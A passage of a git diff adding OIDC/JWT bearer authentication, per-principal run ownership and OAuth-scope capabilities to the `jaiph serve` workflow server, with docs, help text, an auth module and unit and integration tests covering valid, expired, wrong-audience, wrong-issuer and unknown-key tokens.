default. Credentials come from the environment (never argv, which leaks into process listings). Whatever the mode, `/healthz` stays open and credential-free; `/docs` and `/openapi.json` stay open unless `JAIPH_SERVE_EXPOSE_DOCS=false` hides them (`404`). + +**Static single-operator token.** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request (`Authorization: Bearer `, constant-time compared). It is a fail-closed gate for **one operator** — there is no per-user identity, revocation, or per-action authorization; the operator holds every capability and sees every run. Use it for a single trusted caller, not for multiple company users. ```bash JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 --port 8080 ./tools.jh curl -s http://host:8080/v1/workflows -H 'authorization: Bearer secret' | jq ``` -Binding a non-loopback `--host` **without** `JAIPH_SERVE_TOKEN` is a startup error — the server refuses to expose unauthenticated arbitrary shell. Cap simultaneous runs with `JAIPH_SERVE_MAX_CONCURRENT` (default `4`); requests beyond the cap get `429`. See [Environment variables](env-vars.md) for both. +**OIDC/JWT (multi-tenant).** Set `JAIPH_SERVE_OIDC_ISSUER` and `JAIPH_SERVE_OIDC_AUDIENCE` (OIDC takes precedence over the static token). Bearer tokens are verified against the issuer's JWKS — the signing key set is discovered from `/.well-known/openid-configuration`, or set `JAIPH_SERVE_OIDC_JWKS_URI` explicitly. A maintained JWT library does the crypto: signature, `exp`/`nbf`, `aud`, `iss`, and key selection by `kid`. Verification failures are `401` (`E_TOKEN_EXPIRED` for expiry, `E_TOKEN_INVALID` for a bad audience/issuer/key/signature); an unreachable IdP is `503` (`E_AUTH_UNAVAILABLE`). + +Each token is authorized by three OAuth scopes — request them in the `scope` (or `scp`) claim: + +| Scope | Grants | +| --- | --- | +| `jaiph:invoke` | `POST /v1/workflows/{name}/runs` and MCP `tools/call` | +| `jaiph:inspect` | `GET /v1/workflows`, `/v1/runs`, a run, its events and artifacts; MCP `tools/list` | +| `jaiph:cancel` | `POST /v1/runs/{id}/cancel` | + +A missing capability is `403` (`E_FORBIDDEN`). A principal (the token `sub`) may inspect or cancel **only the runs it created** — another principal's run is `404`, indistinguishable from nonexistent. The authenticated `sub` and the request's correlation id (`X-Correlation-Id` / `X-Request-Id`, else a generated UUID) are attached to each run's metadata (`principal` / `correlation_id` on the run object), to the invoke/cancel audit log lines, and to OTLP resource attributes and Sentry tags — never the token or a claim value. + +```bash +JAIPH_SERVE_OIDC_ISSUER=https://issuer.example \ +JAIPH_SERVE_OIDC_AUDIENCE=jaiph-serve \ + jaiph serve --host 0.0.0.0 --port 8080 ./tools.jh +curl -s http://host:8080/v1/runs -H "authorization: Bearer $JWT" | jq +``` + +Binding a non-loopback `--host` with **no** authentication (neither the token nor OIDC) is a startup error — the server refuses to expose unauthenticated arbitrary shell. Cap simultaneous runs with `JAIPH_SERVE_MAX_CONCURRENT` (default `4`); requests beyond the cap get `429`. See [Environment variables](env-vars.md) for all of these. ## 8. Connect an MCP client over HTTP @@ -116,7 +137,7 @@ curl -s -X POST http://127.0.0.1:5247/mcp -H 'content-type: application/json' \ - **One JSON-RPC message per POST.** A **request** (`initialize`, `tools/list`, `tools/call`) returns its reply as a single `application/json` object. A **notification** (`notifications/initialized`, `notifications/cancelled`) returns `202 Accepted` with no body. `GET`/`DELETE /mcp` return `405` — this endpoint offers no server-initiated stream. - **Progress streaming.** Send `Accept: text/event-stream` on a `tools/call` and include a `params._meta.progressToken` to receive the run's step boundaries as `notifications/progress` SSE frames, followed by the result frame — the same progress model as [`jaiph mcp`](mcp.md#7-stream-progress-and-cancel-a-long-call). Without that `Accept` header the call returns a single JSON result (progress is dropped). - **Same run inspection.** Every `tools/call` is a first-class run: it appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and is cancellable with `POST /v1/runs/{id}/cancel` — the identical registry the REST endpoint populates. A client that hangs up a streaming call cancels the run (child process tree + Docker container torn down), the same as an MCP `notifications/cancelled`. -- **Auth.** With `JAIPH_SERVE_TOKEN` set, `POST /mcp` requires `Authorization: Bearer ` exactly like `/v1/*`; unauthenticated calls get `401`. +- **Auth.** `POST /mcp` sits behind the **same** authentication boundary as `/v1/*` (see [Authenticate and authorize](#7-authenticate-and-authorize)): a bearer token — static or OIDC/JWT — on every request, unauthenticated calls get `401`. Capabilities apply per method: `tools/call` needs `invoke`, `tools/list` needs `inspect`; an insufficiently-scoped principal gets a JSON-RPC error (nothing spawns) rather than an HTTP `403`. The authenticated principal and correlation id are attached to every run an MCP `tools/call` creates, exactly as for a REST run. Point any Streamable-HTTP MCP client at `http(s):///mcp`. Use `jaiph mcp` for a co-located stdio client; use `jaiph serve` when the workflows must be reachable over the network by MCP and REST clients alike. diff --git a/integration/serve-auth.test.ts b/integration/serve-auth.test.ts new file mode 100644 index 00000000..7b882775 --- /dev/null +++ b/integration/serve-auth.test.ts @@ -0,0 +1,271 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn, spawnSync } from "node:child_process"; +import { createServer, type Server } from "node:http"; +import { AddressInfo } from "node:net"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { generateKeyPair, exportJWK, SignJWT, type JWK, type KeyLike } from "jose"; + +// End-to-end OIDC/JWT authentication + authorization for `jaiph serve`. A real +// serve process is pointed at a local JWKS server; tokens are minted here with +// `jose` so the whole validity matrix (valid / expired / wrong-audience / +// wrong-issuer / unknown-key / insufficient-scope) and the capability + +// ownership + audit contracts are exercised across the process boundary. + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); +const AUDIENCE = "jaiph-serve"; + +const FIXTURE = [ + "script sleeper = `sleep 1`", + "# Greets the given name.", + "workflow greet(name) {", + ' return "hi ${name}"', + "}", + "", + "# Sleeps briefly so a run is observably in-flight.", + "workflow slow() {", + " run sleeper()", + ' return "woke"', + "}", + "", +].join("\n"); + +interface Idp { + issuer: string; + jwksUri: string; + /** Sign a token with the trusted key (kid `k1`). */ + sign(claims: { sub: string; scope: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise; + /** Sign a token with a key whose public half is NOT in the served JWKS. */ + signUnknownKey(claims: { sub: string; scope: string }): Promise; + close(): Promise; +} + +/** Stand up a local OIDC identity provider: a JWKS endpoint + discovery doc. */ +async function startIdp(): Promise { + const trusted = await generateKeyPair("RS256"); + const stranger = await generateKeyPair("RS256"); + const trustedJwk: JWK = { ...(await exportJWK(trusted.publicKey)), kid: "k1", alg: "RS256", use: "sig" }; + + let issuer = ""; + const server: Server = createServer((req, res) => { + if (req.url === "/jwks") { + res.writeHead(200, { "content-type": "application/json" }); + res.end(JSON.stringify({ keys: [trustedJwk] })); + return; + } + if (req.url === "/.well-known/openid-configuration") { + res.writeHead(200, { "content-type": "application/json" }); + res.end(JSON.stringify({ issuer, jwks_uri: `${issuer}/jwks` })); + return; + } + res.writeHead(404); + res.end(); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", () => r())); + const port = (server.address() as AddressInfo).port; + issuer = `http://127.0.0.1:${port}`; + + async function signWith(key: KeyLike, kid: string, claims: { sub: string; scope: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise { + const now = Math.floor(Date.now() / 1000); + const exp = now + (claims.expiresInSec ?? 3600); + return new SignJWT({ scope: claims.scope }) + .setProtectedHeader({ alg: "RS256", kid }) + .setIssuer(claims.issuer ?? issuer) + .setAudience(claims.audience ?? AUDIENCE) + .setSubject(claims.sub) + .setIssuedAt(now) + .setExpirationTime(exp) + .sign(key); + } + + return { + issuer, + jwksUri: `${issuer}/jwks`, + sign: (claims) => signWith(trusted.privateKey, "k1", claims), + signUnknownKey: (claims) => signWith(stranger.privateKey, "unknown-kid", claims), + close: () => new Promise((r) => server.close(() => r())), + }; +} + +function serveEnv(runsRoot: string, extra: Record): NodeJS.ProcessEnv { + return { + ...process.env, + JAIPH_DOCKER_ENABLED: "false", + JAIPH_RUNS_DIR: runsRoot, + PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}`, + ...extra, + }; +} + +interface ServeProc { + baseUrl: string; + stderr: () => string; + close: () => Promise; +} + +function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", fixture], { cwd, env, stdio: ["ignore", "pipe", "pipe"] }); + let stderrBuf = ""; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve did not start\nstderr:\n${stderrBuf}`)), 20_000); + child.stderr!.setEncoding("utf8"); + child.stderr!.on("data", (chunk: string) => { + stderrBuf += chunk; + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { + clearTimeout(timer); + resolve({ + baseUrl: m[1], + stderr: () => stderrBuf, + close: () => + new Promise((res) => { + child.on("exit", () => res()); + child.kill("SIGTERM"); + setTimeout(() => child.kill("SIGKILL"), 8_000).unref(); + }), + }); + } + }); + child.on("exit", (code) => { + clearTimeout(timer); + reject(new Error(`serve exited early (code ${code})\nstderr:\n${stderrBuf}`)); + }); + }); +} + +const bearer = (token: string): Record => ({ authorization: `Bearer ${token}` }); + +test("jaiph serve OIDC: token validity matrix (valid, expired, wrong-aud, wrong-iss, unknown-key, insufficient-scope, missing)", async () => { + const idp = await startIdp(); + const root = mkdtempSync(join(tmpdir(), "jaiph-oidc-matrix-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, FIXTURE); + const srv = await startServe( + jh, + root, + serveEnv(join(root, ".jaiph/runs"), { + JAIPH_SERVE_OIDC_ISSUER: idp.issuer, + JAIPH_SERVE_OIDC_AUDIENCE: AUDIENCE, + JAIPH_SERVE_OIDC_JWKS_URI: idp.jwksUri, + }), + ); + const post = (token?: string): Promise => + fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", ...(token ? bearer(token) : {}) }, + body: JSON.stringify({ name: "x" }), + }); + try { + const fullScope = "jaiph:invoke jaiph:inspect jaiph:cancel"; + + // Valid token → the workflow runs. + const valid = await post(await idp.sign({ sub: "alice", scope: fullScope })); + assert.equal(valid.status, 200); + assert.equal((await valid.json()).status, "succeeded"); + + // Expired. + const expired = await post(await idp.sign({ sub: "alice", scope: fullScope, expiresInSec: -60 })); + assert.equal(expired.status, 401); + assert.equal((await expired.json()).error.code, "E_TOKEN_EXPIRED"); + + // Wrong audience. + const wrongAud = await post(await idp.sign({ sub: "alice", scope: fullScope, audience: "someone-else" })); + assert.equal(wrongAud.status, 401); + assert.equal((await wrongAud.json()).error.code, "E_TOKEN_INVALID"); + + // Wrong issuer. + const wrongIss = await post(await idp.sign({ sub: "alice", scope: fullScope, issuer: "https://evil.example" })); + assert.equal(wrongIss.status, 401); + assert.equal((await wrongIss.json()).error.code, "E_TOKEN_INVALID"); + + // Unknown signing key (kid not in the JWKS). + const unknownKey = await post(await idp.signUnknownKey({ sub: "alice", scope: fullScope })); + assert.equal(unknownKey.status, 401); + assert.equal((await unknownKey.json()).error.code, "E_TOKEN_INVALID"); + + // Valid signature, but no `jaiph:invoke` scope → authenticated yet forbidden. + const insufficient = await post(await idp.sign({ sub: "alice", scope: "jaiph:inspect" })); + assert.equal(insufficient.status, 403); + assert.equal((await insufficient.json()).error.code, "E_FORBIDDEN"); + + // No token at all. + const missing = await post(); + assert.equal(missing.status, 401); + assert.equal((await missing.json()).error.code, "E_UNAUTHORIZED"); + } finally { + await srv.close(); + await idp.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve OIDC: capabilities are separate, runs are per-principal, and invoke/cancel are audited without the token", async () => { + const idp = await startIdp(); + const root = mkdtempSync(join(tmpdir(), "jaiph-oidc-authz-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, FIXTURE); + // Discovery path: no explicit JWKS URI — the issuer's well-known doc is used. + const srv = await startServe( + jh, + root, + serveEnv(join(root, ".jaiph/runs"), { + JAIPH_SERVE_OIDC_ISSUER: idp.issuer, + JAIPH_SERVE_OIDC_AUDIENCE: AUDIENCE, + }), + ); + try { + const aliceTok = await idp.sign({ sub: "alice", scope: "jaiph:invoke jaiph:inspect jaiph:cancel" }); + const bobTok = await idp.sign({ sub: "bob", scope: "jaiph:invoke jaiph:inspect jaiph:cancel" }); + const noCancelTok = await idp.sign({ sub: "carol", scope: "jaiph:invoke jaiph:inspect" }); + + // Alice runs greet to completion. + const created = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", ...bearer(aliceTok) }, + body: JSON.stringify({ name: "world" }), + }); + assert.equal(created.status, 200); + const run = await created.json(); + assert.equal(run.status, "succeeded"); + assert.equal(run.principal, "alice", "the run records its creating principal"); + + // Bob (valid, fully-scoped) cannot see or cancel Alice's run. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}`, { headers: bearer(bobTok) })).status, 404); + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/events`, { headers: bearer(bobTok) })).status, 404); + const bobList = await (await fetch(`${srv.baseUrl}/v1/runs`, { headers: bearer(bobTok) })).json(); + assert.equal(bobList.total, 0, "bob's listing does not include alice's run"); + + // Alice sees her own run. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}`, { headers: bearer(aliceTok) })).status, 200); + + // A principal without jaiph:cancel cannot cancel even its own in-flight run. + const slowStart = await fetch(`${srv.baseUrl}/v1/workflows/slow/runs`, { + method: "POST", + headers: { "content-type": "application/json", ...bearer(noCancelTok) }, + body: "{}", + }); + assert.equal(slowStart.status, 202); + const slowId = (await slowStart.json()).run_id; + const cancelDenied = await fetch(`${srv.baseUrl}/v1/runs/${slowId}/cancel`, { method: "POST", headers: bearer(noCancelTok) }); + assert.equal(cancelDenied.status, 403); + assert.equal((await cancelDenied.json()).error.code, "E_FORBIDDEN"); + + // Audit: invoke is logged with the principal, and the raw JWT never appears. + const logged = srv.stderr(); + assert.match(logged, /invoked — principal=alice/, "invoke is audited with the acting principal"); + assert.ok(!logged.includes(aliceTok), "the audit log never contains the bearer token"); + } finally { + await srv.close(); + await idp.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: --help documents the static token as single-operator, not multi-tenant", () => { + const result = spawnSync("node", [CLI_PATH, "serve", "--help"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }); + assert.equal(result.status, 0); + assert.match(result.stdout, /single-operator/, "static token is documented as single-operator"); + assert.match(result.stdout, /JAIPH_SERVE_OIDC_ISSUER/, "OIDC configuration is documented"); +}); diff --git a/package-lock.json b/package-lock.json index 454492b9..d555d119 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,6 +7,9 @@ "": { "name": "jaiph", "version": "0.11.0", + "dependencies": { + "jose": "^5.10.0" + }, "bin": { "jaiph": "dist/src/cli.js" }, @@ -66,6 +69,7 @@ "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", @@ -156,6 +160,15 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/jose": { + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/jose/-/jose-5.10.0.tgz", + "integrity": "sha512-s+3Al/p9g32Iq+oqXxkW//7jk2Vig6FF1CFqzVXoTUXt2qz89YWbL+OwS17NFYEvxC35n0FKeGO2LGYSxeM2Gg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, "node_modules/js-yaml": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz", diff --git a/package.json b/package.json index ce989d92..e92d0764 100644 --- a/package.json +++ b/package.json @@ -35,5 +35,8 @@ "@seriousme/openapi-schema-validator": "^2.4.1", "@types/node": "^24.5.2", "typescript": "^5.9.2" + }, + "dependencies": { + "jose": "^5.10.0" } } diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index 8a74375a..bf0de15c 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -17,6 +17,7 @@ import { type StartupPosture, } from "../shared/generation"; import { ServeHandler } from "../serve/handler"; +import { createAuthenticator, type AuthConfig } from "../serve/auth"; import { loadPersistedRuns, persistRunRecord } from "../serve/run-store"; import { createHttpServer, listen } from "../serve/server"; import { VERSION } from "../../version"; @@ -61,9 +62,14 @@ const SERVE_USAGE = "GET /v1/runs/{id}/artifacts, GET /v1/runs/{id}/artifacts/{path}, POST /v1/runs/{id}/cancel.\n" + "MCP clients: POST /mcp speaks MCP Streamable HTTP over the same workflows, run\n" + "registry, concurrency cap, and auth — the network sibling of `jaiph mcp` stdio.\n\n" + - "Auth: set JAIPH_SERVE_TOKEN to require `Authorization: Bearer ` on every\n" + - "/v1/* and /mcp request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + - "host without the token set is a startup error. Cap concurrent runs with\n" + + "Auth: JAIPH_SERVE_TOKEN sets a static single-operator bearer required on every /v1/* and\n" + + "/mcp request — single-operator, not multi-tenant. For per-user identity and authorization,\n" + + "configure OIDC/JWT with JAIPH_SERVE_OIDC_ISSUER + JAIPH_SERVE_OIDC_AUDIENCE (JWKS discovered\n" + + "from the issuer, or set JAIPH_SERVE_OIDC_JWKS_URI). OIDC tokens are authorized by scope —\n" + + "jaiph:invoke (run), jaiph:inspect (read runs/artifacts), jaiph:cancel — and a principal may\n" + + "inspect/cancel only its own runs. /healthz is always open and credential-free; /docs and\n" + + "/openapi.json are open unless JAIPH_SERVE_EXPOSE_DOCS=false. Binding a non-loopback host with\n" + + "no auth is a startup error. Cap concurrent runs with\n" + "JAIPH_SERVE_MAX_CONCURRENT (default 4). Bound memory with JAIPH_SERVE_MAX_OUTPUT_BYTES\n" + "(per-run stdout/stderr/log/result cap, default 1 MiB), JAIPH_SERVE_RETAIN_RUNS\n" + "(completed runs kept in memory, default 500), and JAIPH_SERVE_RETAIN_AGE_SEC\n" + @@ -139,16 +145,38 @@ export async function runServe(rest: string[]): Promise { return 1; } + // Authentication: OIDC/JWT (multi-tenant, per-user identity + scopes) when an + // issuer + audience are configured, else the static single-operator token, + // else open (loopback only). OIDC wins when both are present. const token = process.env.JAIPH_SERVE_TOKEN; - // Fail closed on exposure: a non-loopback bind without a token is a startup - // error, before any socket is opened. - if (!isLoopbackHost(host) && !token) { + const oidcIssuer = process.env.JAIPH_SERVE_OIDC_ISSUER?.trim(); + const oidcAudience = process.env.JAIPH_SERVE_OIDC_AUDIENCE?.trim(); + const oidcJwksUri = process.env.JAIPH_SERVE_OIDC_JWKS_URI?.trim(); + if ((oidcIssuer && !oidcAudience) || (!oidcIssuer && oidcAudience)) { process.stderr.write( - `jaiph serve: refusing to bind non-loopback host "${host}" without JAIPH_SERVE_TOKEN set ` + - "(every /v1/* endpoint would be unauthenticated arbitrary shell). Set JAIPH_SERVE_TOKEN and retry.\n", + "jaiph serve: OIDC mode requires both JAIPH_SERVE_OIDC_ISSUER and JAIPH_SERVE_OIDC_AUDIENCE\n", ); return 1; } + const authConfig: AuthConfig = + oidcIssuer && oidcAudience + ? { oidc: { issuer: oidcIssuer, audience: oidcAudience, jwksUri: oidcJwksUri || undefined } } + : { token }; + const authenticator = createAuthenticator(authConfig); + + // Fail closed on exposure: a non-loopback bind with no authentication is a + // startup error, before any socket is opened. + if (!isLoopbackHost(host) && !authenticator.enabled) { + process.stderr.write( + `jaiph serve: refusing to bind non-loopback host "${host}" without authentication ` + + "(every /v1/* endpoint would be unauthenticated arbitrary shell). Set JAIPH_SERVE_TOKEN or configure " + + "OIDC (JAIPH_SERVE_OIDC_ISSUER + JAIPH_SERVE_OIDC_AUDIENCE) and retry.\n", + ); + return 1; + } + + // Hide the API surface (/docs + /openapi.json) with JAIPH_SERVE_EXPOSE_DOCS=false. + const exposeDocs = !/^(false|0)$/i.test((process.env.JAIPH_SERVE_EXPOSE_DOCS ?? "").trim()); const maxRaw = process.env.JAIPH_SERVE_MAX_CONCURRENT; let maxConcurrent = DEFAULT_MAX_CONCURRENT; @@ -236,7 +264,8 @@ export async function runServe(rest: string[]): Promise { const handler = new ServeHandler({ version: VERSION, serverTitle: `jaiph — ${basename(inputAbs)}`, - token, + authenticator, + exposeDocs, maxConcurrent, retainRuns, retainAgeSec, @@ -319,6 +348,11 @@ export async function runServe(rest: string[]): Promise { `jaiph serve: listening on ${base} — API docs at ${base}/docs, MCP at ${base}/mcp ` + `(${generations.current().tools.length} workflow(s))`, ); + log( + `jaiph serve: auth mode ${authenticator.mode}` + + (authenticator.mode === "oidc" ? ` (issuer ${oidcIssuer}, audience ${oidcAudience})` : "") + + `; docs ${exposeDocs ? "exposed at /docs + /openapi.json" : "hidden (JAIPH_SERVE_EXPOSE_DOCS=false)"}.`, + ); log( `jaiph serve: memory bounds — retain ${retainRuns} completed run(s)` + `${retainAgeSec > 0 ? ` up to ${retainAgeSec}s old` : ""}, ${maxOutputBytes} output bytes/run; ` + diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index e0f8ada3..848078f4 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -52,6 +52,14 @@ export interface WorkflowCallResult { export interface WorkflowCallContext { onStep?: (kind: string, name: string) => void; onCancelHandle?: (cancel: () => void) => void; + /** + * Authenticated principal (audit subject) for this call, attached to the + * run's telemetry identity (OTLP resource attributes + Sentry tags). Never a + * token or a secret-bearing claim. + */ + principal?: string; + /** Request/correlation id, attached to the run's telemetry identity. */ + correlationId?: string; } /** @@ -231,6 +239,9 @@ export async function callWorkflow( exitStatus: result.exitStatus ?? 0, signal: result.signal ?? null, env: process.env, + // Principal + correlation surface on telemetry only (OTLP resource attrs, + // Sentry tags) — deliberately not written into the run's journal. + identity: { principal: ctx?.principal, correlationId: ctx?.correlationId }, }); return result; } diff --git a/src/cli/serve/auth.test.ts b/src/cli/serve/auth.test.ts new file mode 100644 index 00000000..12db0b01 --- /dev/null +++ b/src/cli/serve/auth.test.ts @@ -0,0 +1,86 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { + createAuthenticator, + capabilitiesFromClaims, + openPrincipal, + ALL_CAPABILITIES, + type Capability, +} from "./auth"; + +function sortedCaps(set: Set): string[] { + return [...set].sort(); +} + +const ALL = [...ALL_CAPABILITIES].sort(); + +// === open mode === + +test("open mode: no token, no OIDC → anonymous with all capabilities, owns every run", async () => { + const auth = createAuthenticator({}); + assert.equal(auth.enabled, false); + assert.equal(auth.mode, "none"); + const res = await auth.authenticate(undefined); + assert.ok(res.ok); + assert.equal(res.principal.subject, "anonymous"); + assert.deepEqual(sortedCaps(res.principal.capabilities), ALL); + assert.equal(res.principal.ownsAllRuns, true); +}); + +test("openPrincipal helper matches open mode", () => { + const p = openPrincipal(); + assert.equal(p.subject, "anonymous"); + assert.equal(p.ownsAllRuns, true); + assert.deepEqual(sortedCaps(p.capabilities), ALL); +}); + +// === static single-operator token === + +test("static token: the correct bearer authenticates the operator with all capabilities and ownership", async () => { + const auth = createAuthenticator({ token: "s3cret" }); + assert.equal(auth.enabled, true); + assert.equal(auth.mode, "static"); + const ok = await auth.authenticate("Bearer s3cret"); + assert.ok(ok.ok); + assert.equal(ok.principal.subject, "operator"); + assert.equal(ok.principal.ownsAllRuns, true); + assert.deepEqual(sortedCaps(ok.principal.capabilities), ALL); +}); + +test("static token: missing, wrong-value, wrong-length, and non-Bearer headers are 401", async () => { + const auth = createAuthenticator({ token: "s3cret" }); + for (const header of [undefined, "Bearer nope", "Bearer s3cret-longer", "Basic s3cret", "s3cret"]) { + const res = await auth.authenticate(header); + assert.equal(res.ok, false, `header ${String(header)} must fail`); + if (!res.ok) { + assert.equal(res.status, 401); + assert.equal(res.code, "E_UNAUTHORIZED"); + } + } +}); + +// === scope → capability mapping === + +test("capabilitiesFromClaims: maps jaiph:* scopes from the OAuth scope string", () => { + assert.deepEqual(sortedCaps(capabilitiesFromClaims({ scope: "openid jaiph:invoke jaiph:inspect" })), [ + "inspect", + "invoke", + ]); +}); + +test("capabilitiesFromClaims: maps from the scp array claim and ignores unknown scopes", () => { + assert.deepEqual(sortedCaps(capabilitiesFromClaims({ scp: ["jaiph:cancel", "other:thing"] })), ["cancel"]); +}); + +test("capabilitiesFromClaims: a token with no jaiph scopes yields no capabilities (insufficient scope)", () => { + assert.deepEqual(sortedCaps(capabilitiesFromClaims({ scope: "openid profile" })), []); + assert.deepEqual(sortedCaps(capabilitiesFromClaims({})), []); +}); + +// === mode selection === + +test("createAuthenticator: OIDC config takes precedence over a static token", () => { + const auth = createAuthenticator({ token: "t", oidc: { issuer: "https://issuer.example", audience: "aud" } }); + assert.equal(auth.mode, "oidc"); + assert.equal(auth.enabled, true); +}); diff --git a/src/cli/serve/auth.ts b/src/cli/serve/auth.ts new file mode 100644 index 00000000..66e24574 --- /dev/null +++ b/src/cli/serve/auth.ts @@ -0,0 +1,254 @@ +import { timingSafeEqual } from "node:crypto"; +import { createRemoteJWKSet, jwtVerify, errors as joseErrors, type JWTPayload } from "jose"; + +/** + * Authentication and authorization for `jaiph serve` (REST + MCP Streamable + * HTTP). Two production modes plus an open loopback-dev mode: + * + * - **none** — no `JAIPH_SERVE_TOKEN` and no OIDC config. Every caller is the + * `anonymous` principal with all capabilities. This is the loopback default + * (binding a non-loopback host in this mode is already a startup error). + * - **static** — `JAIPH_SERVE_TOKEN` is a single shared secret. It is a + * **single-operator** gate: the one `operator` principal holds every + * capability and can inspect/cancel every run. It is NOT multi-tenant + * authentication — there is no per-user identity, revocation, or per-action + * authorization. Use OIDC for that. + * - **oidc** — a standard OIDC/JWT bearer. Tokens are verified against the + * issuer's JWKS (a maintained JWT library, `jose`, does the crypto: signature, + * `exp`/`nbf`, `aud`, `iss`, and `kid` selection with unknown-key refetch). + * The principal is the token `sub`; its capabilities come from OAuth scopes + * (`jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel`); it may inspect/cancel + * only the runs it created. + */ + +/** A distinct action a principal may be authorized for. */ +export type Capability = "invoke" | "inspect" | "cancel"; + +/** Every capability — held by the single operator and the open-mode principal. */ +export const ALL_CAPABILITIES: readonly Capability[] = ["invoke", "inspect", "cancel"]; + +/** OAuth scope string that grants each capability. */ +const SCOPE_FOR: Record = { + "jaiph:invoke": "invoke", + "jaiph:inspect": "inspect", + "jaiph:cancel": "cancel", +}; + +/** + * An authenticated (or anonymous) caller. `subject` is the stable audit + * identity — never a token — persisted to run metadata and written to audit + * logs, OTLP resource attributes, and Sentry tags. + */ +export interface Principal { + /** Audit identity: JWT `sub` (oidc), `operator` (static), `anonymous` (open). */ + subject: string; + /** Actions this principal is authorized for. */ + capabilities: Set; + /** + * When true the principal may inspect/cancel every run (the single operator + * and the open-mode caller); when false it is scoped to runs it created. + */ + ownsAllRuns: boolean; +} + +/** A successful authentication. */ +export interface AuthOk { + ok: true; + principal: Principal; +} + +/** A failed authentication — carries the HTTP status/error shape to return. */ +export interface AuthFail { + ok: false; + status: number; + code: string; + message: string; +} + +export type AuthResult = AuthOk | AuthFail; + +export interface Authenticator { + /** `false` only in open mode (no token, no OIDC) — used for startup logging. */ + readonly enabled: boolean; + /** Mode label for the startup banner. */ + readonly mode: "none" | "static" | "oidc"; + /** Verify a request's `Authorization` header into a principal or a failure. */ + authenticate(authorizationHeader: string | undefined): Promise; +} + +/** OIDC/JWT mode configuration, resolved from env at startup. */ +export interface OidcConfig { + /** Expected `iss` claim and (unless `jwksUri` is set) the discovery base. */ + issuer: string; + /** Expected `aud` claim. */ + audience: string; + /** JWKS URI; when absent it is discovered from the issuer's well-known doc. */ + jwksUri?: string; +} + +export interface AuthConfig { + /** Static single-operator shared secret (`JAIPH_SERVE_TOKEN`). */ + token?: string; + /** OIDC/JWT mode; takes precedence over `token` when both are set. */ + oidc?: OidcConfig; +} + +/** The open-mode principal: anonymous, all capabilities, sees every run. */ +export function openPrincipal(): Principal { + return { subject: "anonymous", capabilities: new Set(ALL_CAPABILITIES), ownsAllRuns: true }; +} + +/** Extract the token from an `Authorization: Bearer ` header. */ +function bearerToken(header: string | undefined): string | null { + if (!header) return null; + const match = /^Bearer\s+(.+)$/.exec(header); + return match ? match[1].trim() : null; +} + +/** + * Map a verified JWT's scope claims to capabilities. Reads the standard OAuth + * `scope` (space-delimited string) and the `scp` (array) claim; unknown scopes + * are ignored. A token with none of the `jaiph:*` scopes gets no capability, so + * every action is refused (403) — the insufficient-scope contract. + */ +export function capabilitiesFromClaims(payload: JWTPayload): Set { + const caps = new Set(); + const raw: string[] = []; + if (typeof payload.scope === "string") raw.push(...payload.scope.split(/\s+/)); + const scp = (payload as Record).scp; + if (Array.isArray(scp)) for (const s of scp) if (typeof s === "string") raw.push(s); + for (const s of raw) { + const cap = SCOPE_FOR[s]; + if (cap) caps.add(cap); + } + return caps; +} + +function unauthorized(message: string): AuthFail { + return { ok: false, status: 401, code: "E_UNAUTHORIZED", message }; +} + +/** Static single-operator authenticator: one shared secret, all capabilities. */ +function createStaticAuthenticator(token: string): Authenticator { + const expected = Buffer.from(token); + return { + enabled: true, + mode: "static", + authenticate(header): Promise { + const provided = bearerToken(header); + if (provided === null) return Promise.resolve(unauthorized("missing bearer token")); + const providedBuf = Buffer.from(provided); + // Constant-time compare; length mismatch is short-circuited (timingSafeEqual throws on it). + const ok = providedBuf.length === expected.length && timingSafeEqual(providedBuf, expected); + if (!ok) return Promise.resolve(unauthorized("invalid bearer token")); + return Promise.resolve({ + ok: true, + principal: { subject: "operator", capabilities: new Set(ALL_CAPABILITIES), ownsAllRuns: true }, + }); + }, + }; +} + +/** Discover the JWKS URI from the issuer's OpenID configuration document. 